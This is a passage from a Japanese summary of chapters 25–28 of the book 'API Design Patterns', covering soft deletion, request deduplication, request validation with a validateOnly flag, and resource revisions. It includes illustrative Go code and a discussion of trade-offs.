標準的なCRUD操作、特に削除(Delete)操作を修正し、ソフト削除をサポートする必要があります。リスト操作の調整: 標準的なリスト操作では、デフォルトでソフト削除されたリソースを除外し、オプションでそれらを含める機能を提供します。アンデリート操作: ソフト削除されたリソースを復元するための新しいカスタムメソッドを導入します。完全削除(Expunge)操作: ソフト削除されたリソースを完全に削除するための新しいカスタムメソッドを導入します。有効期限の管理: ソフト削除されたリソースの自動的な完全削除をスケジュールするための仕組みを実装します。これらの原則を適用した、Golangでのソフト削除の実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Deleted bool `json:\\"deleted\\"` ExpireTime time.Time `json:\\"expireTime,omitempty\\"`}type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) Delete(ctx context.Context, id string) error Undelete(ctx context.Context, id string) error Expunge(ctx context.Context, id string) error}func (s *resourceService) Delete(ctx context.Context, id string) error { resource, err := s.Get(ctx, id) if err != nil { return err } resource.Deleted = true resource.ExpireTime = time.Now().Add(30 * 24 * time.Hour) // 30日後に自動削除 return s.update(ctx, resource)}func (s *resourceService) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) { resources, err := s.getAll(ctx) if err != nil { return nil, err } if !includeDeleted { return filterNonDeleted(resources), nil } return resources, nil}この実装例では、Resource 構造体に Deleted フラグと ExpireTime フィールドを追加し、Delete メソッドでソフト削除を実装しています。また、List メソッドでは includeDeleted パラメータを使用して、ソフト削除されたリソースを含めるかどうかを制御しています。ソフト削除の影響とトレードオフ著者は、ソフト削除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。データストレージの増加: ソフト削除されたリソースはデータベースに残り続けるため、ストレージの使用量が増加します。これは、大規模なシステムでは無視できない問題となる可能性があります。パフォーマンスへの影響: ソフト削除されたリソースを除外するための追加的なフィルタリングが必要となるため、特にリスト操作のパフォーマンスに影響を与える可能性があります。複雑性の増加: ソフト削除を導入することで、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。データの整合性: ソフト削除されたリソースへの参照をどのように扱うかという問題があります。これは、特に複雑な関係性を持つリソース間で重要な課題となります。セキュリティとプライバシー: ソフト削除されたデータが予想以上に長く保持される可能性があり、これはデータ保護規制(例:GDPR)との関連で課題となる可能性があります。これらのトレードオフを適切に管理することが、ソフト削除の成功的な実装の鍵となります。例えば、ストレージとパフォーマンスの問題に対しては、定期的なクリーンアップジョブを実装し、長期間ソフト削除状態にあるリソースを自動的に完全削除することが考えられます。また、データの整合性の問題に対しては、関連リソースの削除ポリシーを慎重に設計し、カスケード削除やリファレンスの無効化などの戦略を適切に選択する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ソフト削除は、マイクロサービス間のデータ整合性を維持する上で重要な役割を果たします。例えば、あるサービスでソフト削除されたリソースが、他のサービスではまだ参照されている可能性があります。このような場合、ソフト削除により、サービス間の整合性を保ちつつ、必要に応じてデータを復元することが可能になります。イベント駆動アーキテクチャとの連携: ソフト削除、アンデリート、完全削除などの操作をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。データガバナンスとコンプライアンス: ソフト削除は、データ保持ポリシーやデータ保護規制への対応を容易にします。例えば、ユーザーデータの「忘れられる権利」(GDPR)に対応する際、ソフト削除を活用することで、データを即座に利用不可能にしつつ、法的要件に基づいて一定期間保持することが可能になります。監査とトレーサビリティ: ソフト削除を実装することで、リソースのライフサイクル全体を追跡することが容易になります。これは、システムの変更履歴を把握し、問題が発生した場合のトラブルシューティングを容易にします。バックアップと災害復旧: ソフト削除は、誤って削除されたデータの復旧を容易にします。これは、特に重要なビジネスデータを扱うシステムにおいて、データ損失のリスクを大幅に軽減します。パフォーマンス最適化: ソフト削除の実装には、適切なインデックス戦略が不可欠です。例えば、deleted フラグにインデックスを作成することで、非削除リソースの検索パフォーマンスを維持することができます。ストレージ管理: ソフト削除されたリソースの自動的な完全削除(エクスパイア)を実装することで、ストレージ使用量を管理しつつ、一定期間のデータ復元可能性を確保できます。これは、コストとデータ保護のバランスを取る上で重要です。ソフト削除とシステムアーキテクチャソフト削除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: ソフト削除をサポートするために、全てのリソースに deleted フラグと expireTime フィールドを追加する必要があります。これは、データベーススキーマの設計に影響を与えます。クエリパフォーマンス: ソフト削除されたリソースを除外するために、ほとんどのクエリに追加の条件が必要になります。これは、特に大規模なデータセットでパフォーマンスに影響を与える可能性があります。適切なインデックス戦略が重要になります。バージョニングと互換性: ソフト削除の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、この機能をどのように導入するかを慎重に検討する必要があります。キャッシュ戦略: ソフト削除されたリソースのキャッシュ管理は複雑になる可能性があります。キャッシュの無効化戦略を適切に設計する必要があります。イベントソーシングとCQRS: ソフト削除は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと組み合わせることで、より強力になります。削除イベントを記録し、読み取りモデルを適切に更新することで、システムの柔軟性と一貫性を向上させることができます。結論第25章「Soft deletion」は、APIにおけるソフト削除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの保全性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ソフト削除は、データの誤削除からの保護と復元可能性を提供する重要な機能です。標準的なCRUD操作、特に削除とリスト操作を適切に修正する必要があります。アンデリートと完全削除(Expunge)のための新しいカスタムメソッドが必要です。ソフト削除されたリソースの自動的な完全削除(エクスパイア)を管理するメカニズムが重要です。ソフト削除の導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらの原則を適切に適用することで、開発者はより堅牢で柔軟性のあるAPIを設計することができます。特に、データの重要性が高いシステムや、複雑なデータ関係を持つシステムでは、ソフト削除の適切な実装が極めて重要です。しかし、ソフト削除の導入には慎重な検討も必要です。特に、パフォーマンス、ストレージ使用量、データの整合性、セキュリティとプライバシーの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ソフト削除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータの削除方法を変更するだけでなく、システム全体のデータライフサイクル管理、バックアップと復旧戦略、コンプライアンス対応、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。ソフト削除の適切な実装は、システムの回復力を高め、データ管理の柔軟性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。26 Request deduplication「API Design Patterns」の第26章「Request deduplication」は、APIにおけるリクエストの重複排除の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエストの重複排除が単なる最適化ではなく、APIの信頼性、一貫性、そして全体的なシステムの堅牢性にどのように影響を与えるかを明確に示しています。リクエスト重複排除の必要性と概要著者は、ネットワークの不確実性から議論を始めています。現代のシステム、特にクラウドネイティブな環境やモバイルアプリケーションにおいて、ネットワークの信頼性は常に課題となります。リクエストが失敗した場合、クライアントは通常リトライを行いますが、これが意図しない副作用を引き起こす可能性があります。特に非べき等なメソッド(例えば、リソースの作成や更新)では、同じ操作が複数回実行されることで、データの整合性が損なわれる可能性があります。この問題に対処するため、著者はリクエスト識別子(request identifier)の使用を提案しています。これは、クライアントが生成する一意の識別子で、APIサーバーはこの識別子を使用して重複リクエストを検出し、適切に処理します。この概念は、マイクロサービスアーキテクチャにおいて特に重要です。複数のサービスが協調して動作する環境では、一つのリクエストの失敗が連鎖的な影響を及ぼす可能性があります。リクエストの重複排除を適切に実装することで、システム全体の一貫性と信頼性を向上させることができます。著者は、リクエスト重複排除の基本的な流れを以下のように提案しています。クライアントがリクエスト識別子を含むリクエストを送信する。サーバーは識別子をチェックし、以前に処理されたかどうかを確認する。新しいリクエストの場合は通常通り処理し、結果をキャッシュする。重複リクエストの場合は、キャッシュされた結果を返す。この方法により、ネットワークの不確実性に起因する問題を軽減しつつ、クライアントに一貫した応答を提供することができます。リクエスト重複排除の実装著者は、リクエスト重複排除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リクエスト識別子: クライアントが生成する一意の文字列。これは通常、UUIDやその他のランダムな文字列が使用されます。レスポンスのキャッシング: 処理されたリクエストの結果をキャッシュし、同じ識別子で再度リクエストがあった場合に使用します。一貫性の維持: キャッシュされた応答は、その後のデータの変更に関わらず、元のリクエスト時点の状態を反映する必要があります。衝突の管理: リクエスト識別子の衝突(異なるリクエストに同じ識別子が使用される場合)に対処するため、リクエストの内容も併せてチェックする必要があります。キャッシュの有効期限: キャッシュされた応答に適切な有効期限を設定し、メモリ使用量を管理します。これらの原則を適用した、Golangでのリクエスト重複排除の実装例を以下に示します。type RequestWithID struct { ID string `json:\\"requestId\\"` Payload interface{} `json:\\"payload\\"`}type ResponseCache struct { sync.RWMutex cache map[string]cachedResponse}type cachedResponse struct { response interface{} contentHash string expireTime time.Time}func (rc *ResponseCache) Process(req RequestWithID, processor func(interface{}) (interface{}, error)) (interface{}, error) { rc.RLock() cached, exists := rc.cache[req.ID] rc.RUnlock() if exists { contentHash := calculateHash(req.Payload) if contentHash != cached.contentHash { return nil, errors.New(\\"request ID collision detected\\") } return cached.response, nil } response, err := processor(req.Payload) if err != nil { return nil, err } rc.Lock() rc.cache[req.ID] = cachedResponse{ response: response, contentHash: calculateHash(req.Payload), expireTime: time.Now().Add(5 * time.Minute), } rc.Unlock() return response, nil}この実装例では、リクエスト識別子とペイロードを含むRequestWithID構造体を定義し、ResponseCache構造体でキャッシュを管理しています。Processメソッドは、重複チェック、キャッシュの取得または更新、そして実際の処理を行います。また、リクエスト識別子の衝突を検出するため、ペイロードのハッシュも併せて保存しています。リクエスト重複排除の影響とトレードオフ著者は、リクエスト重複排除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。メモリ使用量: キャッシュの導入により、メモリ使用量が増加します。適切なキャッシュ有効期限の設定が重要です。一貫性と鮮度のバランス: キャッシュされた応答は、最新のデータ状態を反映していない可能性があります。これは、クライアントの期待と一致しない場合があります。複雑性の増加: リクエスト重複排除の実装は、APIの複雑性を増加させます。これは、開発とデバッグの難しさを増す可能性があります。パフォーマンスへの影響: キャッシュのチェックと管理にはオーバーヘッドがありますが、重複リクエストの処理を回避することでパフォーマンスが向上する可能性もあります。分散システムにおける課題: マイクロサービスアーキテクチャなどの分散システムでは、キャッシュの一貫性維持が複雑になります。これらのトレードオフを適切に管理することが、リクエスト重複排除の成功的な実装の鍵となります。例えば、キャッシュのパフォーマンスと一貫性のバランスを取るために、キャッシュ戦略を慎重に設計する必要があります。また、分散キャッシュシステム(例:Redis)の使用を検討し、マイクロサービス間でキャッシュを共有することも有効な戦略です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。耐障害性の向上: リクエスト重複排除は、ネットワークの一時的な障害やクライアントの予期せぬ動作に対するシステムの耐性を高めます。これは特に、金融取引や重要なデータ更新を扱うシステムで重要です。イベント駆動アーキテクチャとの統合: リクエスト重複排除は、イベント駆動アーキテクチャにおいても重要です。例えば、メッセージキューを使用するシステムで、メッセージの重複処理を防ぐために同様の技術を適用できます。グローバルユニーク識別子の生成: クライアント側でのユニークな識別子生成は、分散システムにおける重要な課題です。UUIDv4やULIDなどの効率的で衝突の可能性が低い識別子生成アルゴリズムの使用を検討すべきです。監視とオブザーバビリティ: リクエスト重複排除の効果を測定し、システムの挙動を理解するために、適切な監視とロギングが不可欠です。重複リクエストの頻度、キャッシュヒット率、識別子の衝突回数などの指標を追跡することで、システムの健全性を評価できます。セキュリティの考慮: リクエスト識別子の予測可能性や操作可能性に注意を払う必要があります。悪意のあるユーザーが識別子を推測または再利用することで、システムを悪用する可能性があります。キャッシュ戦略の最適化: キャッシュのパフォーマンスと鮮度のバランスを取るために、階層的キャッシュやキャッシュの事前読み込みなどの高度な技術を検討することができます。バージョニングとの統合: APIのバージョニング戦略とリクエスト重複排除メカニズムを統合する方法を考慮する必要があります。新しいバージョンのAPIで重複排除の実装が変更された場合、古いバージョンとの互換性をどのように維持するかを検討しなければなりません。リクエスト重複排除とシステムアーキテクチャリクエスト重複排除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。分散キャッシュシステム: マイクロサービスアーキテクチャにおいては、中央集権的なキャッシュシステム(例:Redis)の使用を検討する必要があります。これにより、異なるサービス間でキャッシュ情報を共有し、システム全体の一貫性を維持できます。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、リクエスト重複排除メカニズムをより慎重に設計する必要があります。例えば、処理の開始時点でキャッシュエントリを作成し、処理の完了時に更新するなどの戦略が考えられます。フォールバック戦略: キャッシュシステムの障害に備えて、適切なフォールバック戦略を実装する必要があります。例えば、キャッシュが利用できない場合は、一時的に重複排除を無効にし、代わりにべき等性を保証する他の方法を使用するなどです。キャッシュの整合性維持: 分散システムにおいては、キャッシュの整合性を維持することが課題となります。イベントソーシングやCQRSなどのパターンを使用して、キャッシュの更新と実際のデータ更新を同期させる方法を検討する必要があります。スケーラビリティの考慮: リクエスト重複排除メカニズムがシステムのスケーラビリティのボトルネックにならないよう注意が必要です。負荷分散されたシステムでは、キャッシュの分散や複製を適切に設計する必要があります。結論第26章「Request deduplication」は、APIにおけるリクエスト重複排除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの信頼性、一貫性、そして全体的なシステムの堅牢性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト重複排除は、ネットワークの不確実性に起因する問題を軽減し、非べき等な操作の安全性を向上させる重要なメカニズムです。クライアント生成のユニークな識別子と、サーバー側でのレスポンスキャッシングが、この実装の核心となります。キャッシュの一貫性、識別子の衝突管理、適切なキャッシュ有効期限の設定が、実装上の重要な考慮点となります。リクエスト重複排除の導入には、メモリ使用量の増加、複雑性の増加、一貫性と鮮度のバランスなどのトレードオフがあります。分散システムやマイクロサービスアーキテクチャにおいては、キャッシュの一貫性維持と分散が特に重要な課題となります。これらの原則を適切に適用することで、開発者はより信頼性が高く、一貫性のあるAPIを設計することができます。特に、ネットワークの信頼性が低い環境や、重要なデータ更新を扱うシステムでは、リクエスト重複排除の適切な実装が極めて重要です。しかし、リクエスト重複排除の導入には慎重な検討も必要です。特に、パフォーマンス、メモリ使用量、システムの複雑性の増加、セキュリティの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト重複排除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの重複を防ぐだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト重複排除の適切な実装は、システムの回復力を高め、データの整合性を保護し、ユーザー体験を向上させる可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。さらに、リクエスト重複排除メカニズムは、システムの可観測性と運用性の向上にも貢献します。適切に実装されたリクエスト重複排除システムは、重複リクエストの頻度、パターン、原因に関する貴重な洞察を提供し、システムの挙動やネットワークの信頼性に関する問題を早期に検出することを可能にします。これらの情報は、システムの最適化や問題のトラブルシューティングに非常に有用です。最後に、リクエスト重複排除の実装は、APIの設計哲学と密接に関連しています。這いはクライアントとサーバーの責任分担、エラー処理戦略、リトライポリシーなど、APIの基本的な設計原則に影響を与えます。したがって、リクエスト重複排除メカニズムの導入を検討する際は、APIの全体的な設計哲学との整合性を慎重に評価し、必要に応じて調整を行うことが重要です。このような包括的なアプローチを取ることで、リクエスト重複排除は単なる技術的な解決策を超え、システム全体の品質と信頼性を向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より堅牢で効率的、そして信頼性の高いシステムを構築することができるでしょう。27 Request validation「API Design Patterns」の第27章「Request validation」は、APIにおけるリクエスト検証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト検証が単なる便利機能ではなく、APIの安全性、信頼性、そして全体的なユーザー体験にどのように影響を与えるかを明確に示しています。リクエスト検証の必要性と概要著者は、APIの複雑さとそれに伴う誤用のリスクから議論を始めています。最も単純に見えるAPIでさえ、その内部動作は複雑であり、ユーザーが意図した通りに動作するかどうかを事前に確認することは困難です。特に、本番環境で未検証のリクエストを実行することのリスクは高く、著者はこれを車の修理に例えています。素人が車をいじることで深刻な問題を引き起こす可能性があるのと同様に、未検証のAPIリクエストは本番システムに予期せぬ影響を与える可能性があります。この問題に対処するため、著者はvalidateOnlyフィールドの導入を提案しています。これは、リクエストを実際に実行せずに検証のみを行うためのフラグです。この機能により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題を事前に把握することができます。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが相互に依存し合う複雑なシステムでは、一つの誤ったリクエストが連鎖的に問題を引き起こす可能性があります。リクエスト検証を適切に実装することで、このようなリスクを大幅に軽減し、システム全体の安定性と信頼性を向上させることができます。著者は、リクエスト検証の基本的な流れを以下のように提案しています。クライアントがvalidateOnly: trueフラグを含むリクエストを送信する。サーバーはリクエストを通常通り処理するが、実際のデータ変更や副作用を伴う操作は行わない。サーバーは、実際のリクエストが行われた場合と同様のレスポンスを生成し、返却する。この方法により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題(権限不足、データの不整合など)を事前に把握することができます。リクエスト検証の実装著者は、リクエスト検証の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。validateOnlyフラグ: リクエストオブジェクトにオプションのブーリアンフィールドとして追加します。デフォルトはfalseであるべきです。検証の範囲: 可能な限り多くの検証を行うべきです。これには、権限チェック、データの整合性チェック、参照整合性チェックなどが含まれます。外部依存関係の扱い: 外部サービスとの通信が必要な場合、それらのサービスが検証モードをサポートしていない限り、その部分の検証は省略する必要があります。レスポンスの生成: 実際のリクエストと同様のレスポンスを生成すべきです。ただし、サーバー生成の識別子などの一部のフィールドは空白または仮の値で埋める必要があります。安全性とべき等性: 検証リクエストは常に安全(データを変更しない)かつべき等(同じリクエストで常に同じ結果を返す)であるべきです。これらの原則を適用した、Golangでのリクエスト検証の実装例を以下に示します。type CreateChatRoomRequest struct { Resource ChatRoom `json:\\"resource\\"` ValidateOnly bool `json:\\"validateOnly,omitempty\\"`}func (s *Service) CreateChatRoom(ctx context.Context, req CreateChatRoomRequest) (*ChatRoom, error) { if err := s.validateCreateChatRoom(ctx, req); err != nil { return nil, err } if req.ValidateOnly { return &ChatRoom{ ID: \\"placeholder-id\\", Name: req.Resource.Name, // その他のフィールド }, nil } // 実際のリソース作成ロジック return s.actuallyCreateChatRoom(ctx, req.Resource)}func (s *Service) validateCreateChatRoom(ctx context.Context, req CreateChatRoomRequest) error { // 権限チェック if err := s.checkPermissions(ctx, \\"create_chat_room\\"); err != nil { return err } // データ検証 if err := validateChatRoomData(req.Resource); err != nil { return err } // 外部依存関係のチェック(可能な場合) // ... return nil}この実装例では、validateOnlyフラグに基づいて実際の処理を行うかどうかを制御しています。検証フェーズは常に実行され、エラーがある場合は早期に返却されます。検証モードの場合、実際のリソース作成は行わず、プレースホルダーのレスポンスを返します。リクエスト検証の影響とトレードオフ著者は、リクエスト検証の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。複雑性の増加: リクエスト検証機能の追加は、APIの複雑性を増加させます。これは、実装とテストの負担を増やす可能性があります。パフォーマンスへの影響: 検証リクエストは、実際の処理を行わないため一般的に高速ですが、大量の検証リクエストがあった場合、システムに負荷をかける可能性があります。外部依存関係の扱い: 外部サービスとの連携が必要な場合、完全な検証が難しくなる可能性があります。これは、システムの一部の動作を正確に予測できなくなることを意味します。不確定な結果の扱い: ランダム性や時間依存の処理を含むリクエストの検証は、実際の結果を正確に予測することが難しい場合があります。これらのトレードオフを適切に管理することが、リクエスト検証の成功的な実装の鍵となります。例えば、外部依存関係の扱いについては、モックやスタブを使用して可能な限り現実的な検証を行うことが考えられます。また、不確定な結果については、可能な結果の範囲を示すなど、ユーザーに適切な情報を提供することが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。リスク管理とコスト削減: リクエスト検証は、本番環境での不適切なリクエストによるリスクを大幅に軽減します。これは、特に金融系のAPIや重要なデータを扱うシステムで非常に重要です。開発効率の向上: 開発者がAPIの動作を事前に確認できることで、開発サイクルが短縮され、品質が向上します。これは、特に複雑なマイクロサービス環境で重要です。ドキュメンテーションの補完: リクエスト検証は、動的なドキュメンテーションの一形態と見なすこともできます。開発者は、APIの動作を実際に試すことで、ドキュメントだけでは分かりにくい細かな挙動を理解できます。セキュリティの強化: 検証モードを使用することで、潜在的な脆弱性や不適切なアクセス試行を事前に発見できる可能性があります。これは、セキュリティ監査の一部として活用できます。運用の簡素化: 本番環境での問題を事前に回避できることで、インシデント対応の頻度が減少し、運用負荷が軽減されます。段階的なデプロイメント戦略との統合: 新機能のロールアウト時に、検証モードを活用して潜在的な問題を早期に発見することができます。これは、カナリアリリースやブルー/グリーンデプロイメントなどの戦略と組み合わせて効果的です。リクエスト検証とシステムアーキテクチャリクエスト検証の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。マイクロサービスアーキテクチャでの実装: 複数のサービスにまたがるリクエストの検証は、特に注意が必要です。サービス間の依存関係を考慮し、整合性のある検証結果を提供する必要があります。キャッシュ戦略: 検証リクエストの結果をキャッシュすることで、パフォーマンスを向上させることができます。ただし、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、検証モードの動作を慎重に設計する必要があります。例えば、非同期処理の予測される結果をシミュレートする方法を考える必要があります。モニタリングと可観測性: 検証リクエストの使用パターンや頻度を監視することで、APIの使用状況や潜在的な問題をより深く理解できます。これらの指標は、システムの最適化やユーザビリティの向上に活用できます。テスト戦略: リクエスト検証機能自体もテストの対象となります。特に、実際の処理と検証モードの結果の一貫性を確保するためのテスト戦略が重要です。結論第27章「Request validation」は、APIにおけるリクエスト検証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの安全性、信頼性、そして全体的なユーザー体験を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト検証は、APIの複雑さに起因するリスクを軽減する重要なメカニズムです。validateOnlyフラグを使用することで、ユーザーは安全にリクエストの結果をプレビューできます。検証リクエストは、可能な限り実際のリクエストと同様の処理を行いますが、データの変更や副作用を伴う操作は避けるべきです。外部依存関係や不確定な結果を含むリクエストの検証には特別な配慮が必要です。リクエスト検証の導入には、複雑性の増加やパフォーマンスへの影響などのトレードオフがありますが、それらを上回る価値を提供する可能性があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、重要なデータを扱うシステムや複雑なマイクロサービスアーキテクチャを採用している環境では、リクエスト検証の適切な実装が極めて重要です。しかし、リクエスト検証の導入には慎重な検討も必要です。特に、パフォーマンス、複雑性の管理、外部依存関係の扱いなどの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト検証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの安全性を向上させるだけでなく、システム全体の信頼性、運用効率、そして開発生産性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト検証の適切な実装は、システムの回復力を高め、開発サイクルを短縮し、ユーザー体験を向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で使いやすいシステムを構築することができるでしょう。特に、急速に変化するビジネス要件や複雑な技術スタックを持つ現代のソフトウェア開発環境において、リクエスト検証は重要な役割を果たす可能性があります。最後に、リクエスト検証は単なる技術的な機能ではなく、APIの設計哲学を反映するものでもあります。これは、ユーザーフレンドリーなインターフェース、透明性、そして予測可能性への commitment を示しています。適切に実装されたリクエスト検証機能は、API提供者とその消費者の間の信頼関係を強化し、より効果的なコラボレーションを促進します。この機能は、「フェイルファスト」の原則とも整合しており、問題を早期に発見し、修正するための強力なツールとなります。開発者は、本番環境に変更をデプロイする前に、その影響を安全に評価することができます。これにより、イテレーションのサイクルが短縮され、イノベーションのペースが加速する可能性があります。また、リクエスト検証は、APIのバージョニングや進化の戦略とも密接に関連しています。新しいバージョンのAPIをリリースする際、開発者は検証モードを使用して、既存のクライアントへの影響を事前に評価することができます。これにより、破壊的な変更のリスクを最小限に抑えつつ、APIを継続的に改善することが可能になります。さらに、この機能は、APIの教育的側面も持っています。開発者は、検証モードを通じてAPIの動作を実験的に学ぶことができ、これがドキュメントを補完する動的な学習ツールとなります。これは、API の採用を促進し、正しい使用法を奨励することにつながります。最終的に、リクエスト検証の実装は、API設計者がユーザーの視点に立ち、その経験を常に考慮していることを示す象徴的な機能と言えるでしょう。これは、単に機能を提供するだけでなく、ユーザーの成功を積極的に支援するという、より広範なAPI設計哲学の一部となります。このような包括的なアプローチを取ることで、リクエスト検証は単なる技術的機能を超え、APIの品質、信頼性、そして全体的な価値を大きく向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より使いやすく、信頼性が高く、そして継続的な進化が可能なAPIを構築することができるでしょう。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。28 Resource revisions「API Design Patterns」の第28章「Resource revisions」は、APIにおけるリソースのリビジョン管理の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソースリビジョンが単なる機能の追加ではなく、APIの柔軟性、データの整合性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。この章では、リソースの変更履歴を安全に保存し、過去の状態を取得または復元する方法について説明しています。具体的には、個々のリビジョンの識別方法、リビジョンの作成戦略(暗黙的または明示的)、利用可能なリビジョンのリスト化と特定のリビジョンの取得方法、以前のリビジョンへの復元の仕組み、そしてリビジョン可能なリソースの子リソースの扱い方について詳しく解説しています。リソースリビジョンの必要性と概要著者は、リソースリビジョンの必要性から議論を始めています。多くのAPIでは、リソースの現在の状態のみを保持し、過去の変更履歴を無視しています。しかし、契約書、購買注文書、法的文書、広告キャンペーンなどのリソースでは、変更履歴を追跡する必要性が高くなります。これにより、問題が発生した際に、どの変更が原因であるかを特定しやすくなります。リソースリビジョンの概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、各サービスが管理するリソースの変更履歴を適切に追跡し、必要に応じて過去の状態を参照または復元できることが、システム全体の一貫性と信頼性を確保する上で重要になります。著者は、リソースリビジョンの基本的な構造として、既存のリソースに2つの新しいフィールドを追加することを提案しています。revisionId: リビジョンの一意の識別子revisionCreateTime: リビジョンが作成された時刻これらのフィールドを追加することで、リソースの複数のスナップショットを時系列で管理できるようになります。これにより、リソースの変更履歴を追跡し、必要に応じて過去の状態を参照または復元することが可能になります。この概念を視覚的に表現するために、著者は以下のような図を提示しています。Figure 28.1 Adding support for revisions to a Message resourceこの図は、通常のMessageリソースにrevisionIdとrevisionCreateTimeフィールドを追加することで、リビジョン管理をサポートする方法を示しています。リソースリビジョンの実装著者は、リソースリビジョンの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リビジョン識別子: リビジョンの一意性を確保するために、ランダムな識別子(例:UUID)を使用することを推奨しています。これにより、リビジョンの順序や時間に依存せずに、各リビジョンを一意に識別できます。リビジョンの作成戦略: 著者は、暗黙的なリビジョン作成(リソースが変更されるたびに自動的に新しいリビジョンを作成)と明示的なリビジョン作成(ユーザーが明示的にリビジョンの作成を要求)の2つの戦略を提案しています。各アプローチにはそれぞれ長所と短所があり、システムの要件に応じて選択する必要があります。リビジョンの取得と一覧表示: 特定のリビジョンを取得するためのメソッドと、利用可能なリビジョンを一覧表示するためのメソッドの実装について説明しています。これらのメソッドにより、ユーザーはリソースの変更履歴を参照し、必要に応じて特定の時点の状態を取得できます。リビジョンの復元: 以前のリビジョンの状態にリソースを戻すための復元操作の実装方法を解説しています。この操作は、誤った変更を元に戻したり、特定の時点の状態に戻したりする際に重要です。子リソースの扱い: リビジョン可能なリソースが子リソースを持つ場合の取り扱いについても議論しています。子リソースをリビジョンに含めるかどうかは、システムの要件やパフォーマンスの考慮事項に応じて決定する必要があります。これらの原則を適用した、Golangでのリソースリビジョンの実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` RevisionID string `json:\\"revisionId\\"` RevisionCreateTime time.Time `json:\\"revisionCreateTime\\"`}type ResourceService interface { GetResource(ctx context.Context, id string, revisionID string) (*Resource, error) ListResourceRevisions(ctx context.Context, id string) ([]*Resource, error) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) RestoreResourceRevision(ctx context.Context, id string, revisionID string) (*Resource, error)}func (s *resourceService) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) { resource, err := s.getLatestResource(ctx, id) if err != nil { return nil, err } newRevision := &Resource{ ID: resource.ID, Content: resource.Content, RevisionID: generateUUID(), RevisionCreateTime: time.Now(), } if err := s.saveRevision(ctx, newRevision); err != nil { return nil, err } return newRevision, 